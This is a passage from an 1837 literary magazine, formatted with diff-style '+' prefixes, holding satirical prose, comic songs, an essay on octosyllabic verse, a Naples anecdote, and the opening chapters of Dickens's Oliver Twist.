+characters; and Parnassus itself does not "hold its own" as a place of
+any considerable repute, when the habits of its female frequenters are
+taken into account. It is, indeed, high time that the Muses should get
+into places of all work,--that they should earn their bread through
+habits of honest industry and integrity, and not be idling about the
+rose-trees, and wasting their powers on a sigh, an eyebrow, or a
+trumpery star. The time for useful exertion is come; and the days of
+dalliance, dreaming, and ethereal delight are passing away. Flora gives
+way to Cocker, and Apollo is whipped off the top of his own Grecian
+mount by the schoolmaster _abroad_. If the Muses do not now patronise
+statistical reports, poor-law estimates, and fat-cattle meetings, they
+will as surely "sink in their repute," ay, as surely as the name of
+their firm is "Clio, Tighe, Thalia, Hemans, Euterpe, Landon, Polyhymnia,
+Jenkinson, and Co." Imagination is all very well in its way; but does it
+know how "things are in the City?" Is it in the direction--it certainly
+ought to be--of the Great Northern Railway, or the Public Safety British
+Patent Axletree Conveyance Company? Can imagination "set a leg or an
+arm?" if not, why imagination may imagine itself carrying out its own
+shutters in these enlightened times, and shutting up its own shop at
+mid-day.
+
+We are happy to see, and to be able to say, that the Muses, like the
+ladies in "the Invincibles," are marching with the times. They are
+setting imagination to work on various well-sounding schemes for public
+companies and joint-stockeries. Apollo is preparing a prospectus for
+a New British Co-operative Joint Stock Music Society, into which, of
+course, nothing foreign will be allowed to creep, unless it is altered
+and dressed anew, and "wears a livery like its fellows." Melpomene is
+to take the Queen's Theatre for a serious bazaar, and Thalia is to turn
+Astley's into an agreeable chapel for the Jumpers. Urania goes to the
+Astronomical Society as housekeeper, and Terpsichore is to be the lessee
+of the dancing-rooms in Brewer-street, Golden-square, for gymnastic
+purposes. Indeed, there will not be an idle body in the lovely firm;
+and, in future, it is more than probable that vessels will be propelled
+by means of airy verse, and balloons inflated by fancy, or elevated and
+guided by the application of high-flown figures. There is no knowing or
+foretelling to _what_ extent of usefulness poetry may be carried!
+
+It has fallen to our lot to be able to record one of the scientific
+turns which poetry has taken. The Muses having of late years observed
+that the palm-tree, the laurel, and all their sacred trees, had,
+like the trees in all gardens open to the public, suffered much
+from ill-usage,--premature symptoms of dry-rot having presented
+themselves,--the Nine were all at sixes and sevens about the matter,
+until they were recommended by a humane neighbour (as one of Morrison's
+pill victims says in a grateful advertisement) to "try Kyan." "Try
+Kyan!" exclaimed Calliope. "What, in the name of music, can Kyan be?"
+On turning to the columns of the Morning Chronicle, however, Erato
+(who could read) discovered the advertisement explanatory of the great
+patent antidote to dry-rot in timber; and a deputation of three of
+the daughters of Mnemosyne waited on Messrs. Faraday, Pine, Kyan,
+Memel, Mills, Oakley, Terry, and Woodison, gentlemen interested in the
+progress of this invaluable discovery,--and finally at the office in
+Lime-street-square the Muses bargained for a steeping of their undying,
+dying, decaying timber in the wondrous tank at Red Lion wharf, Poplar.
+The process, notwithstanding the mischief done to the wood by the
+poets of this scratching age, was most triumphantly successful; all
+symptoms of decay, except where certain initials were carved, at once
+disappeared, and the immortal plants began to put on "all their original
+brightness!" Apollo gave an awful shriek of delight as he saw the wanton
+cuttings and witherings disappear, and the grand leaves of beauty
+starting into life afresh, at the inspiring touch of the immortal Kyan.
+The Muses, with a few select friends, dined together afterwards, at the
+Macclesfield Arms in the New-road, and a song upon Kyan's patent was
+_impromptued_ on the occasion, and was very favourably received, when
+the mortal waiters were out of the room. We are enabled to lay a copy
+of it before our readers; and we are sure they will, with us, receive
+with pleasure this proof of the interest which the Muses are taking in
+matters of science and useful art. It is reported that the Nine are
+about to become members of the Society for the Diffusion of Useful
+Knowledge.
+
+
+               THE ANTI-DRY-ROT COMPANY'S SONG.
+
+  _Air_--"Well, well, now--no more;--sure you've told me before."
+                                             _Love in a Village._
+
+                         1.
+        Have you heard,--have you heard,--
+        Anti-dry-rot's the word?
+    Wood will never wear out, thanks to Kyan, to Kyan!
+        He dips in a tank,
+        Any rafter or plank,--
+    And makes it immortal as Dian, as Dian!
+        If you steep but a thread,
+        It will hang by the head,
+    For ever, the largest old lion, old lion;
+        Or will cord up the trunk
+        Of an elephant drunk;--
+    If you doubt it,--yourself go and try 'un, and try 'un.
+
+                         2.
+        In the days that are gone,
+        As to timber and stone,
+    Decay was by no means a shy 'un, a shy 'un.
+        He bolted our floors,
+        And our vessels by scores,
+    And the thirsty old rot was a dry 'un, a dry 'un!
+        Oak crumbled beneath
+        The dry blast of its breath,
+    As soon as it e'er came a-nigh 'un, a-nigh 'un;
+        But gone is the day
+        Of that glutton Decay,
+    Since he can't eat his timber with _Kyan_, with _Kyan_!
+
+                         3.
+        Say--now--what shall we steep
+        In the tank? just to keep.--
+    Shakespeare sniffed our great secret, the sly 'un, the sly 'un!
+        Hamlet, Macbeth, and Lear,
+        Have been _Kyan'd_, my dear,
+    By Nature's immortal Paul Pry 'un, Paul Pry 'un.
+        Shall the plays of the day
+        Take a plunge from decay?
+    (There is no need for Tell, or for Ion, for Ion;)
+        I fear he could not
+        Soak away the dry-rot
+    From _some_ things:--But _all_ rests on Kyan, on Kyan.
+
+                         4.
+        Put the lid on the tank,--
+        Not a crack for a plank,--
+    While I point out one thing, as I fly on, I fly on,
+        Which really must not
+        Have a dip 'gainst dry-rot,--
+    Stuff with cotton the ears of my Kyan, my Kyan.
+        In a whisper I speak,
+        (But 'twill rain for a week,--
+    Or as long as St. Swithin will cry on, will cry on,--)
+        The moment I make
+        Your conviction awake
+    That _Vauxhall_ wants no plunge 'gainst the dry 'un, the dry 'un.
+
+                         5.
+        Do not dip many books
+        In our anti-rot nooks;
+    Keep out novels, and all Sense cries Fie on! cries Fie on!
+        Though, since Wood turns sublime
+        In its strife against time,
+    Most heads that we know, will try Kyan, try Kyan.
+        Only think what great good
+        'Twould do Alder_men_ Wood,
+    (Elected for life) if they'd try 'un, they'd try 'un;--
+        Every word that I say
+        Is as true as the day,
+    And each hint you may safely rely on, rely on!
+
+                         6.
+        Then, hurrah! come uncork!
+        This dry-rot is dry work;
+    Bring the bottle,--that one I've my eye on, my eye on;
+        My spirit I'd steep
+        In its rich _anti_-deep,
+    And linger for morn, like Orion, Orion!
+        'Gad the secret is out,
+        We've talk'd so much about;
+    My dog's on the scent,--oh! then hie on, then hie on!
+        'Tis the _bottle_, I feel,
+        Makes immortal mere deal,
+    And wine's the _solution of Kyan_, of Kyan! R.
+
+
+
+
+             THE ORIGINAL OF "NOT A DRUM WAS HEARD."
+
+          SCRAP, No. III.             _Water-grass-hill._
+
+When _single-speech_ Hamilton made in the Irish Commons that _one_
+memorable hit, and persevered ever after in obdurate taciturnity,
+folks began very justly to suspect that all was not right; in fact,
+that the solitary egg on which he thus sat, plumed in all the glory of
+incubation, had been laid by another. The Rev. Mr. Wolfe is _supposed_
+to be the author of a single poem, unparalleled in the English language
+for all the qualities of a true lyric, breathing the purest spirit
+of the antique, and setting criticism completely at defiance. I say
+_supposed_, for the gentlemen himself never claimed its authorship
+during his short and unobtrusive lifetime. He who could write the
+"Funeral of Sir John Moore," must have eclipsed all the lyric poets of
+this latter age by the fervour and brilliancy of his powers. Do the
+other writings of Mr. Wolfe bear any trace of inspiration? None.
+
+I fear we must look elsewhere for the origin of those beautiful lines;
+and I think I can put the public on the right scent. In 1749, Colonel de
+Beaumanoir, a native of Britanny, having rained a regiment in his own
+neighbourhood, went out with it to India, in that unfortunate expedition
+commanded by Lally-Tolendal, the failure of which eventual lost to
+the French their possessions in Hindostan. The colonel was killed in
+defending, against the forces of Coote, PONDICHERRY, the last stronghold
+of the French in that hemisphere. He was buried that night on the north
+bastion of the fortress by a few faithful followers, and the next day
+the fleet sailed with the remainder of the garrison for Europe. In the
+appendix to the "Memoirs of LALLY-TOLENDAL," by his Son, the following
+lines occur, which bear some resemblance to those attributed to Wolfe.
+Perhaps Wolf Tone may have communicated them to his relative the
+clergyman on his return from France. _Fides sit penès lectorem._
+
+                                                              P. PROUT.
+
+
+         THE ORIGINAL OF "NOT A DRUM WAS HEARD."
+
+                            I.
+    Ni le son du tambour ... ni la marche funebre ...
+      Ni le feu des soldats ... ne marqua son depart.--
+    Mais du BRAVE, à la hâte, à travers les tenebres,
+      Mornes ... nous portâmes le cadavre au rempart!
+
+                           II.
+    De Minuit c'était l'heure, et solitaire et sombre--
+      La lune à peine offrait un debile rayon;
+    La lanterne luisait peniblement dans l'ombre,
+      Quand de la bayonette on creusa le gazon.
+
+                           III.
+    D'inutile cercueil ni de drap funeraire
+      Nous ne daignâmes point entourer le HEROS;
+    Il gisait dans les plis du manteau militaire
+      Comme un guerrier qui dort son heure de repos.
+
+                           IV.
+    La prière qu'on fit fut de courte durée:
+      Nul ne parla de deuil, bien que le coeur fut plein!
+    Mais on fixait du MORT la figure adorée ...
+      Mais avec amertume on songeait au demain.
+
+                           V.
+    Au demain! quand ici ou sa fosse s'apprête,
+      Ou son humide lit on dresse avec sanglots,
+    L'ennemi orgueilleux marchera sur sa tête,
+      Et nous, ses veterans, serons loin sur les flots!
+
+                           VI.
+    Ils terniront sa gloire ... un pourra le entendre
+      Nommer l'illustre MORT d'un ton amer ... ou fol;--
+    Il les laissera dire.--Eh! qu'importe À SA CENDRE
+      Que la main d'un BRETON a confiée au sol?
+
+                          VII.
+    L'oeuvre durait encor, quand retentit la cloche
+      Au sommet du Befroi:--et le canon lointain
+    Tiré par intervalle, en annonçant l'approche,
+      Signalait la fierté de l'ennemi hautain.
+
+                         VIII.
+    Et dans sa fosse alors le mîmes lentement ...
+     Près du champ où sa gloire a été consommée:
+    Ne mimes à l'endroit pierre ni monument
+     Le laissant seul à seul avec sa Renommée!
+
+
+
+
+               A GOSSIP WITH SOME OLD ENGLISH POETS.
+                         BY CHARLES OLLIER.
+
+All hail to the octo-syllabic measure! the most cheerful, buoyant, and
+terse of all metres; at once familiar and refined, and fitted more than
+any other to the narration of a gay and laughing tale. Lord Byron, who
+indulged in it not a little, was pleased nevertheless to condemn it for
+what he called its "fatal facility;" but we believe that is _facility_
+is more a matter for the enjoyment of the reader than for the execution
+of the writer; since, in the latter respect, it seems to demand so much
+of polish, point, and neatness, as to require, in its very absence of
+all apparent effort, no little labour in him who would do its claims
+full justice. Cowper, who was ambitious to excel in this pleasant
+verse, declared that the "easy jingle" of Mat. Prior was inimitable;
+but Prior, delightful as his octo-syllabic poetry undoubtedly is, has
+many rivals,--not indeed among his contemporaries, but in poets who
+preceded and followed him. Shakespeare, for example, in whose boundless
+riches is found almost every variety of the Muse, has given us abundant
+specimens of this verse in the prologues to each act of "Pericles,
+Prince of Tyre," as spoken by the Ghost of old Gower, who, having,
+in his _Confessio Amantis_, told the story afterwards dramatised by
+Shakespeare, is evoked from his "ashes" to explain to the spectators the
+progress of the incidents of the play. The following _notturno_ could
+hardly have been as pleasantly conveyed in any other measure:--
+
+    "Now sleep yslaked hath the rout;
+    No din but snores, the house about,
+    Made louder by the o'er-fed breast
+    Of this most pompous marriage feast.
+    The cat, with eyne of burning coal,
+    Now couches 'fore the mouse's hole;
+    And crickets sing at th' oven's mouth,
+    As the blither for their drouth.
+    Hymen hath brought the bride to bed."
+
+Ben Johnson, too, has revelled in this metre: its sweet cheerfulness
+appears, for the time, to have drawn from his mind its austere and
+sarcastic qualities, and to have lulled the violence of his wit. Old
+Ben is, in short, never seen in so happy and amiable a light as when he
+writes in the octo-syllabic. Here in a specimen:--
+
+    "Some act of Love bound to rehearse,
+    I thought to bind him in my verse;
+    Which, when he felt, 'Away!' quoth he,
+    'Can poets hope to fetter me?
+    It is enough they once did get
+    Mars and my mother in their net;
+    I wear not these my wings in vain.
+    With which he fled me; and again
+    Into my rhymes could ne'er be got
+    By any art. Then wonder not
+    That, since, my numbers are so cold,
+    When Love is fled, and I grow old."
+
+But what shall we say of Herrick, the English Anacreon, who fondled this
+measure with such graceful dalliance? We cannot resist the temptation
+of making an extract, and of _italicising_ a line or two, that we may
+enjoy them with the reader:--
+
+    "A sweet disorder in the dresse
+    Kindles in cloathes a wantonnesse;
+    A lawne about the shoulders thrown
+    _Into a fine distraction_;
+    An erring lace, which here and there
+    Enthralls the crimson stomacher;
+    A cuffe neglectfull, and thereby
+    Ribbands to flow confusedly;
+    _A winning wave, deserving note,
+    In the tempestuous petticote_;
+    A carelesse shooe-string, in whose tye
+    _I see a wild civility_;
+    Doe more bewitch me, than when art
+    Is too precise in every part."
+
+Mark the ease, the play, the _curiosa felicitas_, of this exquisite
+little poem. Could it have been as happy in any other measure?
+
+The stern and unflinching patriot, Andrew Marvell, evidently takes
+delight in the piquant grace of the octo-syllabic. Here is a passage
+from his poem addressed to the Lord Fairfax, descriptive of the grounds
+about that nobleman's house, in Yorkshire, called Nun-Appleton. Speaking
+of the meadows, Marvell says:--
+
+    "No scene, that turns with engines strange,
+    Does oftener than these meadows change;
+    For when the sun the grass hath vex'd,
+    The tawny mowers enter next;
+    _Who seem like Israelites to be,
+    Walking on foot through a green sea_.
+    To them the grassy deeps divide,
+    And crowd a lane to either side.
+    With whistling scythe, and elbow strong,
+    _These massacre the grass along_.
+
+       *       *       *       *       *
+
+    The mower now commands the field;
+    In whose new traverse seemeth wrought
+    A camp of battle newly fought;
+    Where, as the meads with hay, the plain
+    Lies quilted o'er with bodies slain:
+    The women that with forks it fling,
+    Do represent the pillaging.
+    And now the careless victors play,
+    Dancing the triumphs of the hay.
+    When, after this, 'tis piled in cocks,
+    _Like a calm sea it shews the rocks_."
+
+The poems of Thomas Randolph, a writer of the seventeenth century, are
+not so well known as they deserve to be. A specimen, therefore, of his
+treatment of our favourite verse, will be some such a novelty as is
+afforded by the revival of an obsolete fashion. He is addressing his
+mistress while walking through a grove:--
+
+    "See Zephyrus through the leaves doth stray,
+    And has free liberty to play,
+    And braid thy locks. And shall I find
+    Less favour than a saucy wind?
+    Now let me sit and fix my eyes
+    On thee that art my paradise.
+    Thou art my all: the spring remains
+    In the fair violets of thy veins;
+    And that it is a summer's day,
+    Ripe cherries in thy lips display;
+    And when for autumn I would seek,
+    'Tis in the apples of thy cheek;
+    But that which only moves my smart,
+    Is to see winter in thy heart."
+
+Of Butler it is needless to speak; everybody knows Hudibras. He is,
+indeed, a glorious champion of the octo-syllabic verse. The glories,
+too, of Prior,--the witty, the humorous, the _riant_ Prior,--are too
+well known to require illustration. We say "too well known," for
+Matthew, alas! had a sovereign contempt for _les bienséances_, and only,
+now-a-days, finds his "way into families" because time and a classic
+reputation have, in a manner, sanctified his extravagancies. But what
+must have been the irresistible charm of his octo-syllabic measure, to
+have seduced the morbid methodist, Cowper, into a warm eulogy of the
+very metre in which his licentious freaks were perpetuated?
+
+As in Prior's case, Gay chose this particular verse to sin in. We do
+not allude to his "Fables," but to his "Tales," which are dexterous and
+pleasant enough, but wrong. The reader must not expect specimens. From
+the next writer, however, to whom we shall allude, namely, Green, author
+of "The Spleen," we shall be happy to transfer to our pages an extract.
+Green was a member of the Society of Friends; but, whatever might have
+been the formality of the outward man, never did a more genial heart
+beat in the bosom of a human creature than in that of Quaker Green.
+He was a philosopher, a humanist, a wit, a poet; and we do not like
+him the less because he took especial delight in the sly humour of the
+eight-syllable rhyme. He found in this measure a pleasant compromise
+between a staid cheerfulness and a roystering joke, and he dandled it to
+his heart's content in the true spirit of Quaker love-making; that is
+to say, with a certain significance of purpose qualified by sobriety of
+pretence. The friendly triumph of the flesh over the spirit was never
+more cordially manifested; but all is done "with conscience and tender
+heart." The poem called "The Spleen" would have been a luxury from any
+writer. From Green, in his drab coat, it has a double relish. The fire
+that burned under the broad-brimmed hat of this wise and gentle lover
+of humanity, was too strong for the stuff of which his physical man was
+composed; it
+
+          "O'er informed his tenement of clay;"
+
+and our poetical Quaker died before he had reached his middle age.
+His principal poem is distinguished by the elastic play of the
+versification, by manly good sense, and flashing wit. Poor Green! it was
+especially necessary for him, with his delicate organization, to study
+how he might best exorcise the spleen, or, as we should now call it,
+hypochondria,--a task which we, in our Miscellany, have taken under our
+especial care. The following extract from the exordium to the Quaker's
+poem will afford a good taste of his quality. We have italicised some
+lines that appeared to be peculiarly felicitous:--
+
+    "Hunting I reckon very good
+    To brace the nerves, and stir the blood;
+    But after no field-honours itch,
+    Atchiev'd by leaping hedge and ditch.
+    _While Spleen lies soft relax'd in bed,
+    Or o'er coal-fires inclines the head_,
+    Hygeia's sons with hound and horn,
+    And jovial cry, awake the Morn:
+    These see her from her dusky plight,
+    Smear'd by th' embraces of the Night,
+    With roral wash redeem her face,
+    And prove herself of Titan's race,
+    _And, mounting in loose robes the skies,
+    Shed light and fragrance as she flies_.
+    Then horse and hound fierce joy display,
+    Exulting at the 'Hark-away!'
+    And in pursuit o'er tainted ground
+    From lungs robust field-notes resound.
+    Then, as St. George the dragon slew,
+    _Spleen pierc'd, trod down, and dying view_,
+    While all the spirits are on wing,
+    And woods, and hills, and valleys ring.
+      To cure the mind's wrong bias, Spleen,
+    Some recommend the bowling-green;
+    Some, hilly walks; all, exercise;
+    _Fling but a stone, the giant dies_;
+    Laugh, and be well. Monkeys have been
+    Extreme good doctors for the Spleen;
+    And kitten, if the humour hit,
+    Has harlequin'd away the fit."
+
+We may take an opportunity of resuming this subject.
+
+
+
+
+                 THE RISING PERIODICAL;
+  BEING MR. VERDANT'S ACCOUNT OF HIS LAST AERIAL VOYAGE,
+
+             _edited_ BY THOMAS HAYNES BAYLY.
+
+    Without apology, I'll trace
+      Our airy flight across the sea,
+    Because at once we raised _ourselves_
+      And public curiosity.
+
+    And well might those who saw us off,
+      Our many perils long discuss,
+    Because, ere we were out of sight,
+      'Twas certainly "all up with us!"
+
+    There might be danger, sure enough,
+      On high, from thirst and hunger blending;
+    But men are told they should _bear up_
+      Against the danger that's impending.
+
+    So we bore up into the clouds,
+      Of creature comforts ample store;
+    And really coffee ne'er was known
+      To rise so speedily before.
+
+    Our tongues, though salted, never halted;
+      Our game fresh-kill'd was very high;
+    And, though all nicely truss'd and roasted,
+      We saw our fowls and turkeys fly!
+
+    Our solid food rose like a puff,
+      Hard biscuit seem'd a trifle, too;
+    And our champagne was so much up,
+      That e'en our empty bottles flew!
+
+    Our spirits rose; in fact we were,
+      When not a dozen miles from Dover,
+    Quite in a _state of elevation_,
+      Indisputably "_half seas over_."
+
+    How like conspirators were we,
+      So snug we kept our hour of rising;
+    And when our movement once was made,
+      All London cried, "Oh! how surprising!"
+
+    If, when we soar'd above the great,
+      They trembled, 'twas without occasion:
+    Our thoughts were turned to France; in truth
+      We meditated an invasion!
+
+    But over earth and over sea
+      We went without one hostile notion;
+    Our war on earth, a civil war;
+      The Channel,--our Pacific Ocean.
+
+    When passing over Chatham town
+      We were just finishing a chicken;
+    A soldier and a maiden fair
+      I saw whilst I the bones was picking.
+
+    I threw a drumstick at the youth,
+      Who all around the culprit sought;
+    And whilst the maiden laughed aloud,
+      I struck her with a merry thought.
+
+    In darkness we the Channel cross'd,
+      And left our fragile car to chance;
+    And, scorning customary rules,
+      Without a passport enter'd France!
+
+    But on we went, and our descent
+      Bewilder'd many a German gaper;
+    Until, to prove from whence we came,
+      We show'd the last day's London paper!
+
+    We're told no good that is substantial
+      Results from all we nobly dare;
+    What then?--We took a clever MASON
+      To build us castles in the air.
+
+    We're not like certain _rising men_,
+      Puff'd up with vain presumptuous thoughts;
+    We nothing boast of what we've done,
+      And deem ourselves mere airy-noughts!
+                                            T. H. B
+
+
+
+
+              AN ITALIAN ANECDOTE.
+
+_Naples, July 1._--This was one of the hottest days of the season. I
+had long contemplated Fort St. Elmo, high on the crest of the mountain
+which overhung Naples, as one of the objects which I was bound to visit.
+I knew and felt that, like Vesuvius, it was one of those sights which
+exercise a tyranny over every traveller, not to be evaded, and which
+he must see, or hazard his peace of mind for ever; but never yet had I
+been able to overcome my natural indolence, and to proceed to explore
+it. On this morning I rose with an alacrity and love of enterprise quite
+unusual to me, and I at once determined to ascend to St. Elmo to see the
+magnificent Certosini Convent, with the Chiesa di S. Martino, to enjoy
+the extensive view which this summit presents, and to hear the ascending
+buzz of the city and its numerous inhabitants. I immediately sent to
+T----, to accompany me; and, after eating a hearty breakfast, we took
+our departure.
+
+Who that has ever mounted the steep, rugged, and never-ending ascent,
+will not pity the middle-aged gentleman of indolent habits, seeing
+sights for conscience sake, of no mean size, (for such I am,) as he
+struggled with the difficulties before him, looking up in dismay at the
+castle, inflating and distending his lungs with an action to which they
+had long been unaccustomed, until his face rivalled the sun in glowing
+crimson?
+
+At length we reached our object. We saw the sights,--admired the beauty
+of the church, and its beautiful pictures by Spagnoletto,--exclaimed
+with rapture at the view, and heard the buzz. With my conscience
+satisfied, and with my critical observations on all we had seen, ready
+to be made upon the first favourable opportunity, I lost no time in
+descending to whence we came. By this time it was past meridian. The
+descent was very trying upon legs of forty-five years' standing; and the
+tremulous motion which it produced upon the muscles, only increased the
+longing I felt, to find myself once more extended full length on my sofa
+at the Vittoria.
+
+I had taken off my coat, and, lazzaroni-like, had thrown it over my
+shoulder; my neckcloth was thrust into my waistcoat pocket, and my neck
+was bare. I carried my hat on my stick, using it by way of parasol;
+and, thus accoutred, I determined to make one desperate effort to brave
+the heat of the sun, that was baking the pavement of Santa Lucia, and
+emitting a glare that acted like a burning-glass upon my eyeballs. As
+we walked through this ordeal, we passed close to an assembly of young
+lazzaronis, basking in the sun, near to a stall; there they lay, in the
+midst of fish-bones, orange-peels, and decayed melons. We evidently
+excited their mirth; and I, in particular, felt myself privileged to be
+laughed at,--for what could be more grotesque than my appearance? One of
+the boys was standing. We had scarcely turned our backs upon them, when
+I received a blow on the head from a melon-rind;--I turned about, and
+immediately the whole gang ran off laughing. I would have followed; but,
+in truth, was too tired. I could scarcely move but at a slow walk. The
+boys stopped, and looked at us. At length, making a virtue of necessity,
+I called out to the boy who had thrown the melon-rind, to come to me--he
+hesitated; I called again--he was evidently puzzled, and suspicious of
+my intention; I then showed him a carline. "Come here," said I, "take
+this." "In the name of goodness!" exclaimed T----, "what are you about?"
+"Never mind," said I; "stop and see." The boy at length took courage,
+and came to me. "Here," said I, "_bravo! bravissimo! avete fatto bene!_
+take this." Upon which, in surprise, the boy, taking the piece of money
+out of my hand, ran off in the greatest exultation, showing it to his
+little friends as a prize fallen down from heaven.
+
+"Now do tell me," said T----, "what demon of madness can have possessed
+you? You ought to have broken every bone in that young rascal's skin,
+instead of feeing him for insulting us." "So I would," said I, "if I
+could; but to catch him is impossible. By feeing him for his insolence,
+he will probably throw another piece of melon at the first Englishman
+he sees, who will, no doubt, give him the beating which I cannot."
+T---- laughed heartily at the ingenious turn which my indolence had
+taken--administering a beating _à ricochet_, as he called it; and,
+having reached my room, we laughed over our adventure, and speculated
+upon the beating the youngster would get.
+
+And, true enough, the next day, as we were seated on one of the benches
+of the Villa Reale, we heard a sort of hue and cry on the Chiaja, and
+shortly after, saw our carroty and irascible friend W---- appear,
+foaming with rage, streaming from every pore, owing to some recent
+exertion, and exploding with bursts of execration. He came straight to
+us.--"Who ever knew such an infernal country as this?" said he, "D--them
+all for a beggarly set of villains. Did you ever see the like? I gave
+it him well, however,--that's some comfort. The young rascal won't
+forget me, for some time, I'll warrant you!" T---- and I smiled at each
+other in anticipation of the reason, which only made him more furious.
+"Here," said he, "was I walking quietly along, when a young rascal of
+a lazzaroni thought fit to shy half a water-melon at my head;--you may
+laugh; but it was no laughing matter to me, nor to him either, for I
+have half killed the young urchin; and then, forsooth, I must have half
+the town of Naples upon me, backed by all their carrion of old women."
+We allowed his rage to expend itself, and said nothing, for fear of
+being implicated in his wrath, inasmuch as I was the origin of his
+disaster; but, truly, indolence was never so completely justified, as on
+this occasion.
+                                                                 J. M.
+
+   [Illustration: Oliver asking for more.]
+
+
+
+
+              OUR SONG OF THE MONTH.
+
+           No. II. February, 1837.
+
+                   OUR VALENTINE.
+
+    With a frozen old saint, our Miscellany quaint
+      We headed last month in a jolly, gay song;
+    It was fit that a priest should say grace to the feast
+      Before any layman should stick in a prong.
+    But now we've no need for the dark-flowing weed
+      Of a padre to hallow our frolics so fine;
+    'Tis a bishop, this moon, is to set us in tune--
+      And his name you know, maidens, is Saint Valentine.
+
+    So, love to our ladies from Lapland to Cadiz,
+      From the Tropics to Poles, (be the same more or less)--
+    But we know that in print they will ne'er take the hint
+      Half as soft and as sweet as in perfumed _MS._
+    And we wish that we knew any fair one as true
+      As to think all we're writing superb and divine,
+    At her feet should we lay--not a word about pay--
+      Our work as her tribute on Saint Valentine.
+
+    Yet why but to one should our homage be done?
+      We pay it to all whose smiles lighten out art:
+    To Edgeworth, to Morgan, to Baillie's deep organ,
+      To Hall's Irish pathos, to Norton's soft heart,
+    To the Countess so rare, to Costello the fair,
+      To Miss L. E. L., to high-born Emmeline;
+    But a truce to more names--Take this, darling dames,
+      Sweet friends of the pen, as our first Valentine.
+                                                      W. M.
+
+
+
+
+                   OLIVER TWIST,
+           OR, THE PARISH BOY'S PROGRESS.
+
+                      BY BOZ.
+
+           ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+                   CHAPTER THE FIRST
+
+   TREATS OF THE PLACE WHERE OLIVER TWIST WAS BORN, AND OF THE
+             CIRCUMSTANCES ATTENDING HIS BIRTH.
+
+Among other public buildings in the town of Mudfog, it boasts of one
+which is common to most towns great or small, to wit, a workhouse;
+and in this workhouse there was born on a day and date which I need
+not trouble myself to repeat, inasmuch as it can be of no possible
+consequence to the reader, in this stage of the business at all events,
+the item of mortality whose name is prefixed to the head of this
+chapter. For a long time after he was ushered into this world of sorrow
+and trouble, by the parish surgeon, it remained a matter of considerable
+doubt whether the child would survive to bear any name at all; in which
+case it is somewhat more than probable that these memoirs would never
+have appeared, or, if they had, being comprised within a couple of
+pages, they would have possessed the inestimable merit of being the
+most concise and faithful specimen of biography extant in the literature
+of any age or country. Although I am not disposed to maintain that the
+being born in a workhouse is in itself the most fortunate and enviable
+circumstance that can possibly befal a human being, I do mean to say
+that in this particular instance it was the best thing for Oliver Twist
+that could by possibility have occurred. The fact is, that there was
+considerable difficulty in inducing Oliver to take upon himself the
+office of respiration,--a troublesome practice, but one which custom
+has rendered necessary to our easy existence,--and for some time he lay
+gasping on a little flock mattress, rather unequally poised between
+this world and the next, the balance being decidedly in favour of the
+latter. Now, if during this brief period Oliver had been surrounded by
+careful grandmothers, anxious aunts, experienced nurses, and doctors
+of profound wisdom, he would most inevitably and indubitably have been
+killed in no time. There being nobody by, however, but a pauper old
+woman, who was rendered rather misty by an unwonted allowance of beer,
+and a parish surgeon who did such matters by contract, Oliver and nature
+fought out the point between them. The result was, that, after a few
+struggles, Oliver breathed, sneezed, and proceeded to advertise to the
+inmates of the workhouse the fact of a new burden having been imposed
+upon the parish, by setting up as loud a cry as could reasonably have
+been expected from a male infant who had not been possessed of that very
+useful appendage, a voice, for a much longer space of time than three
+minutes and a quarter.
+
+As Oliver gave this first testimony of the free and proper action of his
+lungs, the patchwork coverlet, which was carelessly flung over the iron
+bedstead, rustled; the pale face of a young female was raised feebly
+from the pillow; and a faint voice imperfectly articulated the words
+"Let me see the child, and die."
+
+The surgeon had been sitting with his face turned towards the fire,
+giving the palms of his hands a warm, and a rub, alternately; but as the
+young woman spoke, he rose, and, advancing to the bed's head, said with
+more kindness than might have been expected of him--
+
+"Oh, you must not talk about dying, yet."
+
+"Lor bless her dear heart, no!" interposed the nurse, hastily depositing
+in her pocket a green glass bottle, the contents of which she had been
+tasting in a corner with evident satisfaction. "Lor bless her dear
+heart, when she has lived as long as I have, sir, and had thirteen
+children of her own, and all on 'em dead except two, and them in the
+wurkus with me, she'll know better than to take on in that way, bless
+her dear heart! Think what it is to be a mother, there's a dear young
+lamb, do."
+
+Apparently this consolatory perspective of a mother's prospects failed
+in producing its due effect. The patient shook her head, and stretched
+out her hand towards the child.
+
+The surgeon deposited it in her arms. She imprinted her cold white lips
+passionately on its forehead, passed her hands over her face, gazed
+wildly round, shuddered, fell back--and died. They chafed her breast,
+hands, and temples; but the blood had frozen for ever. They talked of
+hope and comfort. They had been strangers too long.
+
+"It's all over, Mrs. Thingummy," said the surgeon, at last.
+
+"Ah, poor dear; so it is!" said the nurse, picking up the cork of the
+green bottle which had fallen out on the pillow as she stooped to take
+up the child. "Poor dear!"
+
+"You needn't mind sending up to me, if the child cries, nurse," said
+the surgeon, putting on his gloves with great deliberation. "It's very
+likely it _will_ be troublesome. Give it a little gruel if it is." He
+put on his hat, and, pausing by the bedside on his way to the door,
+added, "She was a good-looking girl too; where did she come from?"
+
+"She was brought here last night," replied the old woman, "by the
+overseer's order. She was found lying in the street;--she had walked
+some distance, for her shoes were worn to pieces; but where she came
+from, or where she was going to, nobody knows."
+
+The surgeon leant over the body, and raised the left hand. "The old
+story," he said, shaking his head: "no wedding-ring, I see. Ah! good
+night."
+
+The medical gentleman walked away to dinner; and the nurse, having once
+more applied herself to the green bottle, sat down on a low chair before
+the fire, and proceeded to dress the infant.
+
+And what an excellent example of the power of dress young Oliver Twist
+was! Wrapped in the blanket which had hitherto formed his only covering,
+he might have been the child of a nobleman or a beggar;--it would have
+been hard for the haughtiest stranger to have fixed his station in
+society. But now he was enveloped in the old calico robes, that had
+grown yellow in the same service; he was badged and ticketed, and fell
+into his place at once--a parish child--the orphan of a workhouse--the
+humble, half-starved drudge--to be cuffed and buffeted through the
+world, despised by all, and pitied by none.
+
+Oliver cried lustily. If he could have known that he was an orphan, left
+to the tender mercies of churchwardens and overseers, perhaps he would
+have cried the louder.
+
+
+CHAPTER THE SECOND
+
+TREATS OF OLIVER TWIST'S GROWTH, EDUCATION, AND BOARD.
+
+For the next eight or ten months, Oliver was the victim of a systematic
+course of treachery and deception--he was brought up by hand. The hungry
+and destitute situation of the infant orphan was duly reported by the
+workhouse authorities to the parish authorities. The parish authorities
+inquired with dignity of the workhouse authorities, whether there
+was no female then domiciled in "the house" who was in a situation to
+impart to Oliver Twist the consolation and nourishment of which he stood
+in need. The workhouse authorities replied with humility that there
+was not. Upon this, the parish authorities magnanimously and humanely
